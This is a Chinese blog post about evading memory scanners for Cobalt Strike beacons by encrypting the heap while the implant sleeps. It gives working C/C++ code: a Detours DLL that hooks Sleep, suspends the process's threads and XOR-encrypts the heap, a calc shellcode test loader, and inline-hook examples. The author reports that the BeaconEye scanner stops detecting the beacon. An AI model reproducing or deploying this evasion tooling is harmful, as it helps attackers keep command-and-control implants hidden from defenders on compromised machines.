前记
原理
CS在高版本中推出了sleep mask功能,即在beacon sleep时对堆进行加密混淆,绕过内存扫描,在恢复运行前还原,防止进程崩溃。beacon每次运行的时间远短于sleep时间,内存扫描也就很难发现内存中C2Profile特征,进而实现了绕过。
思路如下
在堆加密之前把当前进程的所有线程都挂起来,不然如果其他线程访问堆而堆是乱码。同样的,在挂起线程时,当前线程是不能挂起的,不然就全部挂起当场死锁了,当前线程需要进sleep挂起然后sleep结束恢复。
static PROCESS_HEAP_ENTRY entry;
VOID HeapEncryptDecrypt() {
SecureZeroMemory(&entry, sizeof(entry));
while (HeapWalk(currentHeap, &entry)) {
if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData);
}
}
}
static void(WINAPI* OrigianlSleepFunction)(DWORD dwMiliseconds);
void WINAPI HookedSleepFunction(DWORD dwMiliseconds) {
DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
HeapEncryptDecrypt();
OriginalSleepFunction(dwMiliseconds);
HeapEncryptDecrypt();
DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
}
void main()
{
DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
Hook("kernel32.dll", "Sleep", (LPVOID)HookedSleepFunction, (FARPROC*)&OriginalSleepFunction, true);
if (!OldAlloc) {
MessageBoxA(NULL, "Hooking RtlAllocateHeap failed.", "Status", NULL);
}
DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
// Sleep is now hooked
}
堆加密实现
static PROCESS_HEAP_ENTRY entry;
VOID HeapEncryptDecrypt() {
SecureZeroMemory(&entry, sizeof(entry));
while (HeapWalk(currentHeap, &entry)) {
if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData);
}
}
}
实现过程
先浅析代码
if (Thread32First(h, &te))
{
do
{
if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
{
// Suspend all threads EXCEPT the one we want to keep running
if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
{
HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thread != NULL)
{
SuspendThread(thread);
CloseHandle(thread);
}
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
这个检查偏移量加上进程pid大小是因为有一个历史原因。在较旧的 Windows 版本中,Thread32First
和Thread32Next
函数默认情况下只填充THREADENTRY32
结构体中包含有限的信息,这些信息不包括th32OwnerProcessID
成员。该代码确保检索到的THREADENTRY32
结构体实际上包含th32OwnerProcessID
信息。这里把除自己之外的其他线程全部挂起。
void WINAPI HookedSleep(DWORD dwMiliseconds) {
DWORD time = dwMiliseconds;
if (time > 1000) {
DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
HeapEncryptDecrypt();
OldSleep(dwMiliseconds);
HeapEncryptDecrypt();
DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
}
else {
OldSleep(time);
}
}
这里判断睡眠时间大于一秒就挂起其余线程,堆加密并睡眠,睡眠结束后解密再恢复所有线程
用BeaconEye扫描未slepp的cs进程内存发现内存中存在beacon,设置sleep后BeaconEye未能检测出beacon
这里自己写个c测试
#include <windows.h>
#include<stdio.h>
void like() {
//calc shellcode
unsigned char rawData[276] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
};
LPVOID Alloc =(LPVOID) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(rawData));
if (Alloc == NULL) {
// 分配内存失败
printf("Error allocating memory\n");
HeapFree(GetProcessHeap(), 0, Alloc);
return;
}
memcpy(Alloc, rawData, sizeof(rawData));
while (1)
{
printf("%x\n", Alloc);
Sleep(5000);
}
HeapFree(GetProcessHeap(), 0, Alloc);
return;
}
int main() {
like();
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<stdlib.h>
#include<iostream>
#include<windows.h>
#include<detours.h>
#include "Encrypt.h"
#include "SuspendThreads.h"
using namespace std;
auto pf = Sleep;
// Encryption Key
const char key[6] = "ACDEf";
size_t keySize = sizeof(key);
PROCESS_HEAP_ENTRY entry;
void HeapEncryptDecrypt() {
SecureZeroMemory(&entry, sizeof(entry));
while (HeapWalk(GetProcessHeap(), &entry)) {
if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
xor_bidirectional_encode(key, keySize, (char*)(entry.lpData), entry.cbData);
}
}
}
//Hooked Sleep
void WINAPI HookedSleep(DWORD dwMiliseconds) {
DWORD time = dwMiliseconds;
if (time > 1000) {
DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
HeapEncryptDecrypt();
pf(time);
HeapEncryptDecrypt();
DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
}
else {
pf(time);
}
}
int main()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&pf, HookedSleep);
DetourTransactionCommit();
}
EXTERN_C __declspec(dllexport) void test()
{
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
main();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
这里加密用异或,所以加解密使用同一个函数
//Encrypt.h
#pragma once
void xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length) {
for (size_t i = 0; i < length; ++i) {
buffer[i] ^= key[i % keyLength];
}
}
#pragma once
#include <Windows.h>
#include <TlHelp32.h>
// Pass 0 as the targetProcessId to suspend threads in the current process
void DoSuspendThreads(DWORD targetProcessId, DWORD targetThreadId)
{
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE)
{
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(h, &te))
{
do
{
if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
{
// Suspend all threads EXCEPT the one we want to keep running
if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
{
HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thread != NULL)
{
SuspendThread(thread);
CloseHandle(thread);
}
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
void DoResumeThreads(DWORD targetProcessId, DWORD targetThreadId)
{
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE)
{
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(h, &te))
{
do
{
if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
{
// Suspend all threads EXCEPT the one we want to keep running
if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
{
HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thread != NULL)
{
ResumeThread(thread);
CloseHandle(thread);
}
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
可以明显看到堆内存在sleep和被唤醒时不断的解密和加密
后记
Detour
环境搭建
disasm.cpp:
#pragma data_seg(".code1")
#pragma const_seg(".code2")
x64 Native Tools Command Prompt for VS 2022
nmake
设置$(SolutionDir)
VC++目录两处,链接器常规、输入各一处
hook格式
#include<iostream>
#include<windows.h>
#include<detours.h>
using namespace std;
auto pf = MessageBoxA;
int WINAPI hookfunc(
_In_opt_ HWND hWnd,
_In_opt_ LPCSTR lpText,
_In_opt_ LPCSTR lpCaption,
_In_ UINT uType) {
printf("coleak");
return pf(hWnd,lpText,lpCaption,uType);
//return 0;
}
int main()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&pf, hookfunc);
DetourTransactionCommit();
MessageBoxA(0, 0, 0, 0);
//unhook
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&pf, hookfunc);
DetourTransactionCommit();
MessageBoxA(0, "cc", "dd", 0);
return 0;
}
minhook
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal);
MH_STATUS WINAPI MH_CreateHookApi(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal);
void SetHook()
{
if (MH_Initialize() == MB_OK)
{
MH_CreateHook(&MessageBoxA, &MyMessageBoxA, reinterpret_cast<void**>(&fpMessageBoxA));
MH_EnableHook(&MessageBoxA);
}
}
void UnHook()
{
if (MH_DisableHook(&MessageBoxA) == MB_OK)
{
MH_Uninitialize();
}
}
或者
template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID pTarget, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHook(pTarget, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
template <typename T>
inline MH_STATUS MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHookApi(
pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
inline hook
实现流程
-
获取需要挂钩的函数地址
-
修改函数代码跳转到我们自己写的新函数,即hook
-
unhook
-
调用恢复的原函数
-
重新设置hook
x86
//\x68就是push,\xc3就是ret,然后32位的程序,地址刚好4字节
#include <iostream>
#include <Windows.h>
FARPROC messageBoxAddress = NULL;
SIZE_T bytesWritten = 0;
char messageBoxOriginalBytes[6] = {};
int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
// print intercepted values from the MessageBoxA function
std::cout << "Ohai from the hooked function\n";
std::cout << "Text: " << (LPCSTR)lpText << "\nCaption: " << (LPCSTR)lpCaption << std::endl;
// unpatch MessageBoxA
WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, messageBoxOriginalBytes, sizeof(messageBoxOriginalBytes), &bytesWritten);
// call the original MessageBoxA
return MessageBoxA(NULL, lpText, lpCaption, uType);
}
int main()
{
// show messagebox before hooking
MessageBoxA(NULL, "hi", "hi", MB_OK);
HINSTANCE library = LoadLibraryA("use32.dll");
SIZE_T bytesRead = 0;
// get address of the MessageBox function in memory
messageBoxAddress = GetProcAddress(library, "MessageBoxA");
// save the first 6 bytes of the original MessageBoxA function - will need for unhooking
ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, messageBoxOriginalBytes, 6, &bytesRead);
//8b ff 55 8b ec 83
// create a patch "push <address of new MessageBoxA); ret"
void* hookedMessageBoxAddress = &HookedMessageBox;
char patch[6] = { 0 };
memcpy_s(patch, 1, "\x68", 1);
memcpy_s(patch + 1, 4, &hookedMessageBoxAddress, 4);
memcpy_s(patch + 5, 1, "\xC3", 1);
// patch the MessageBoxA
WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, patch, sizeof(patch), &bytesWritten);
// show messagebox after hooking
MessageBoxA(NULL, "hi", "hi", MB_OK);
return 0;
}
x64
//mov rax xxxxxxx,push rax,ret
#include <iostream>
#include <Windows.h>
FARPROC messageBoxAddress = NULL;
SIZE_T bytesWritten = 0;
BYTE OldCode[12] = { 0x00 };
BYTE HookCode[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };
int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
// print intercepted values from the MessageBoxA function
std::cout << "Ohai from the hooked function\n";
std::cout << "Text: " << (LPCSTR)lpText << "\nCaption: " << (LPCSTR)lpCaption << std::endl;
// unpatch MessageBoxA
WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, OldCode, sizeof(OldCode), &bytesWritten);
// call the original MessageBoxA
return MessageBoxA(NULL, lpText, lpCaption, uType);
}
int main()
{
// show messagebox before hooking
MessageBoxA(NULL, "hi", "hi", MB_OK);
HINSTANCE library = LoadLibraryA("use32.dll");
SIZE_T bytesRead = 0;
// get address of the MessageBox function in memory
messageBoxAddress = GetProcAddress(library, "MessageBoxA");
// save the first 6 bytes of the original MessageBoxA function - will need for unhooking
ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, OldCode, 12, &bytesRead);
// create a patch "push <address of new MessageBoxA); ret"
void* hookedMessageBoxAddress = &HookedMessageBox;
*(PINT64)(HookCode + 2) = (UINT64)HookedMessageBox;
// patch the MessageBoxA
WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, HookCode, sizeof(HookCode), &bytesWritten);
// show messagebox after hooking
MessageBoxA(NULL, "hi", "hi", MB_OK);
return 0;
}
dll版本
#include <stdio.h>
#include <Windows.h>
BYTE OldCode[12] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
BYTE HookCode[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };
void Hook(LPCWSTR lpModule, LPCSTR lpFuncName, LPVOID lpFunction)
{
DWORD_PTR FuncAddress = (UINT64)GetProcAddress(GetModuleHandle(lpModule), lpFuncName);
DWORD OldProtect = 0;
if (VirtualProtect((LPVOID)FuncAddress, 12, PAGE_EXECUTE_READWRITE, &OldProtect))
{
memcpy(OldCode, (LPVOID)FuncAddress, 12); // 拷贝原始机器码指令
*(PINT64)(HookCode + 2) = (UINT64)lpFunction; // 填充90为指定跳转地址
}
memcpy((LPVOID)FuncAddress, &HookCode, sizeof(HookCode)); // 拷贝Hook机器指令
VirtualProtect((LPVOID)FuncAddress, 12, OldProtect, &OldProtect);
}
void UnHook(LPCWSTR lpModule, LPCSTR lpFuncName)
{
DWORD OldProtect = 0;
UINT64 FuncAddress = (UINT64)GetProcAddress(GetModuleHandle(lpModule), lpFuncName);
if (VirtualProtect((LPVOID)FuncAddress, 12, PAGE_EXECUTE_READWRITE, &OldProtect))
{
memcpy((LPVOID)FuncAddress, OldCode, sizeof(OldCode));
}
VirtualProtect((LPVOID)FuncAddress, 12, OldProtect, &OldProtect);
}
int WINAPI MyMessageBoxW(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)
{
// 首先恢复Hook代码
UnHook(L"use32.dll", "MessageBoxW");
int ret = MessageBoxW(0, L"hello lyshark", lpCaption, uType);
// 调用结束后,再次挂钩
Hook(L"use32.dll", "MessageBoxW", (PROC)MyMessageBoxW);
return ret;
}
bool APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{
switch (dword)
{
case DLL_PROCESS_ATTACH:
Hook(L"use32.dll", "MessageBoxW", (PROC)MyMessageBoxW);
break;
case DLL_PROCESS_DETACH:
UnHook(L"use32.dll", "MessageBoxW");
break;
}
return true;
}
常识速记
线程挂起
SuspendThreads和TerminateThread都是往目标线程里面插APC,在APC中对线程实现挂起/终止。然后发起一个中断去触发APC,如果线程本身在用户态接受中断就立刻执行APC,如果在内核态,就可能忽略中断,等从内核态出来再处理APC
堆栈区别
简单来说,栈是用于存储函数中局部数据的,函数执行完后栈上的数据会被清除。这意味着在函数运行期间存储在栈上的数据,在函数返回并完成时会被释放。对于那些你需要长期保存的变量来说,这显然不是一个好的选择。
而堆则是一种更长期的存储解决方案。堆上的分配会一直保留在堆上,直到你的代码手动释放它们为止。但是,如果你不断地将数据分配到堆上而从未释放任何内容,则会导致内存泄漏。
xdbg内存属性
-
可读 (R): 允许读取内存中的数据。
-
可写 (W): 允许写入内存中的数据。
-
可执行 (E): 允许执行内存中的代码。
-
复制 (C): 允许将内存中的数据复制到其他进程。
-
守卫 (G): 防止内存中的数据被修改。
堆获取
GetProcessHeap用来获取默认堆而不能获取用户自己分配的堆(为了建议用户自己管理自己的堆而不被别人影响),而HeapWalk可以枚举指定堆中的内存块(虽然回收后堆空间存在碎片,但堆分配的空间在逻辑地址上是连续的,而在物理地址上是不连续的,因为采用了页式内存管理)。
reference
https://blog.z3ratu1.top/%E5%A0%86%E5%8A%A0%E5%AF%86%E6%8A%80%E6%9C%AF%E6%8A%84%E5%86%99.html
https://xz.aliyun.com/t/9166?time__1311=n4%2BxuDgD9DyDnDfhD1D%2FD0WojowpItWeD&alichlgref=https%3A%2F%2Fwww.bing.com%2F
https://www.cnblogs.com/LyShark/p/13653394.html
https://www.arashparsa.com/hook-heaps-and-live-free/#considerations
https://github.com/TsudaKageyu/minhook
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)